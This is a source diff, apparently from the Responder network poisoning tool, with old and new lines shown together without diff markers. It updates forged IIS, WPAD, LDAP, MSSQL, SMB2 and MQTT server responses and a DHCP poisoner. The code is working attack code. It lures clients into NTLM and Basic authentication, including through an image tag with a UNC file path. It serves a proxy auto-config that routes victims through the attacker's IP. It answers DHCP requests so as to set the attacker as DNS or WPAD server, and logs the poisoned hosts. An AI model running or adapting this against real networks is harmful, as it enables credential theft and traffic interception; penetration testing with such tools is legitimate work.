class IIS_Auth_Granted(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
("Payload", ""),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@ -307,22 +486,29 @@ class IIS_Auth_Granted(Packet):
class IIS_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "WWW-Authenticate: NTLM "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload2", """<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Not Authorized</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Not Authorized</h2>
<hr><p>HTTP Error 401. The requested resource requires user authentication.</p>
</BODY></HTML>
"""),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload2"]))
class WinRM_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 \r\n"),
("Code", "HTTP/1.1 401\r\n"),
("WWWAuth", "WWW-Authenticate: Negotiate "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
@ -338,27 +524,58 @@ class WinRM_NTLM_Challenge_Ans(Packet):
class IIS_Basic_401_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"),
("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Len", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", """<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>401 - Unauthorized: Access is denied due to invalid credentials.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
<div class="content-container"><fieldset>
<h2>401 - Unauthorized: Access is denied due to invalid credentials.</h2>
<h3>You do not have permission to view this directory or page using the credentials that you supplied.</h3>
</fieldset></div>
</div>
</body>
</html>
"""),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
##### Proxy mode Packets #####
class WPADScript(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ServerTlype", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
("Cache", "Pragma: no-cache\r\n"),
("Server", "Server: BigIP\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY "+RespondWithIP()+":3141; DIRECT';}"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@ -369,7 +586,7 @@ class ServeExeFile(Packet):
("ContentType", "Content-Type: application/octet-stream\r\n"),
("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("Server", "Server: Microsoft-IIS/10.0\r\n"),
("ContentDisp", "Content-Disposition: attachment; filename="),
("ContentDiFile", ""),
("FileCRLF", ";\r\n"),
@ -391,7 +608,7 @@ class ServeHtmlFile(Packet):
("ContentType", "Content-Type: text/html\r\n"),
("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("Server", "Server: Microsoft-IIS/10.0\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("Date", "\r\nDate: "+HTTPCurrentDate()+"\r\n"),
@ -406,7 +623,7 @@ class ServeHtmlFile(Packet):
class WPAD_Auth_407_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
@ -422,7 +639,7 @@ class WPAD_Auth_407_Ans(Packet):
class WPAD_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "Proxy-Authenticate: NTLM "),
@ -438,7 +655,7 @@ class WPAD_NTLM_Challenge_Ans(Packet):
class WPAD_Basic_407_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
@ -455,7 +672,7 @@ class WEBDAV_Options_Answer(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"),
("Len", "Content-Length: 0\r\n"),
("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"),
@ -543,7 +760,7 @@ class MSSQLNTLMChallengeAnswer(Packet):
("TargetInfoLen", "\x7e\x00"),
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("NTLMOsVersion", "\x0a\x00\x7c\x4f\x00\x00\x00\x0f"),
("TargetNameStr", settings.Config.Domain),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
@ -655,6 +872,24 @@ class IMAPCapabilityEnd(Packet):
("CRLF", "\r\n"),
])
##### MQTT Packets #####
class MQTTv3v4ResponsePacket(Packet):
fields = OrderedDict([
("Type", "\x20"),
("Len", "\x02"),
("Session", "\x00"),
("Code", "\x04"),
])
class MQTTv5ResponsePacket(Packet):
fields = OrderedDict([
("Type", "\x20"),
("Len", "\x03"),
("Session", "\x00"),
("Code", "\x86"),
("Prop", "\x00"),
])
##### POP3 Packets #####
class POPOKPacket(Packet):
fields = OrderedDict([
@ -800,9 +1035,9 @@ class LDAPNTLMChallenge(Packet):
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh", "\x05"),
("NegTokenInitSeqMechMessageVersionLow", "\x02"),
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionHigh", "\x0a"),
("NegTokenInitSeqMechMessageVersionLow", "\x00"),
("NegTokenInitSeqMechMessageVersionBuilt", "\x7c\x4f"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", settings.Config.Domain),
@ -1533,7 +1768,7 @@ class SMB2NegoAns(Packet):
("Signing", "\x01\x00"),
("Dialect", "\xff\x02"),
("Reserved", "\x00\x00"),
("Guid", "\xee\x85\xab\xf7\xea\xf6\x0c\x4f\x92\x81\x92\x47\x6d\xeb\x76\xa9"),
("Guid", urandom(16).decode('latin-1')),
("Capabilities", "\x07\x00\x00\x00"),
("MaxTransSize", "\x00\x00\x10\x00"),
("MaxReadSize", "\x00\x00\x10\x00"),
@ -1556,9 +1791,9 @@ class SMB2NegoAns(Packet):
("NegTokenTag0ASNLen", "\x3c"),
("NegThisMechASNId", "\x30"),
("NegThisMechASNLen", "\x3a"),
("NegThisMech1ASNId", "\x06"),
("NegThisMech1ASNLen", "\x0a"),
("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"),
#("NegThisMech1ASNId", "\x06"),
#("NegThisMech1ASNLen", "\x0a"),
#("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"),
("NegThisMech2ASNId", "\x06"),
("NegThisMech2ASNLen", "\x09"),
("NegThisMech2ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
@ -1587,14 +1822,14 @@ class SMB2NegoAns(Packet):
StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])
SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
@ -1610,7 +1845,7 @@ class SMB2NegoAns(Packet):
self.fields["NegTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen))
self.fields["NegThisMechASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen)-2)
self.fields["NegThisMech1ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech1ASNStr"])))
#self.fields["NegThisMech1ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech1ASNStr"])))
self.fields["NegThisMech2ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech2ASNStr"])))
self.fields["NegThisMech3ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech3ASNStr"])))
self.fields["NegThisMech4ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech4ASNStr"])))
@ -2228,7 +2463,7 @@ class SamLogonResponseEx(Packet):
("ServerName", settings.Config.MachineName),
("ServerTerminator", "\x00"),
("UsernameLen", "\x10"),
("Username", "LGANDX"),
("Username", settings.Config.Username),
("UserTerminator", "\x00"),
("SrvSiteNameLen", "\x17"),
("SrvSiteName", "Default-First-Site-Name"),

View file

@ -19,6 +19,7 @@ if (sys.version_info < (3, 0)):
sys.exit('This script is meant to be run with Python3')
import struct
import random
import optparse
import configparser
import os
@ -79,20 +80,24 @@ config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
Interface = settings.Config.Interface
Responder_IP = FindLocalIP(Interface, None)
Responder_IP = RespondWithIP()
ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present.
NETMASK = "255.255.255.0"
DNSIP = "0.0.0.0"
DNSIP2 = "0.0.0.0"
DNSNAME = "lan"
DNSNAME = "local"
WPADSRV = "http://"+Responder_IP+"/wpad.dat"
Respond_To_Requests = True
DHCPClient = []
def GetMacAddress(Interface):
mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr']
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
try:
mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr']
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
except:
mac = "00:00:00:00:00:00"
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
##### IP Header #####
class IPHead(Packet):
fields = OrderedDict([
@ -193,22 +198,28 @@ class DHCPACK(Packet):
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252", ""),
("Op252Len", ""),
("Op252Str", ""), #Wpad Server
("Op255", "\xff"),
("Padding", "\x00"),
])
def calculate(self):
def calculate(self, DHCP_DNS):
self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
if DHCP_DNS:
self.fields["Op6Str"] = socket.inet_aton(RespondWithIP()).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
else:
self.fields["Op252"] = "\xfc"
self.fields["Op252Str"] = WPADSRV
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20))
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
@ -228,11 +239,15 @@ def ParseSrcDSTAddr(data):
return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data):
data = data.decode('latin-1')
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4]).encode('latin-1')
IPPos = data.find(b"\x32\x04") + 2
if IPPos == -1 or IPPos + 4 >= len(data) or IPPos == 1:
#Probably not present in the DHCP options we received, let's grab it from the IP header instead
return data[12:16]
else:
IP = data[IPPos:IPPos+4]
return IP
def ParseDHCPCode(data, ClientIP):
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
global DHCPClient
global ROUTERIP
PTid = data[4:8]
@ -245,8 +260,8 @@ def ParseDHCPCode(data, ClientIP):
RequestIP = data[245:249]
if DHCPClient.count(MacAddrStr) >= 4:
return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr
return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr
if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer
ROUTERIP = ClientIP
return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP)
@ -258,12 +273,37 @@ def ParseDHCPCode(data, ClientIP):
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': IPConv,
})
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
# DHCP Inform
elif OpCode == b"\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP).decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': RequestedIP,
})
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data)
@ -272,11 +312,16 @@ def ParseDHCPCode(data, ClientIP):
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': IPConv,
})
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
def SendDiscover():
@ -294,7 +339,7 @@ def SendDHCP(packet,Host):
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
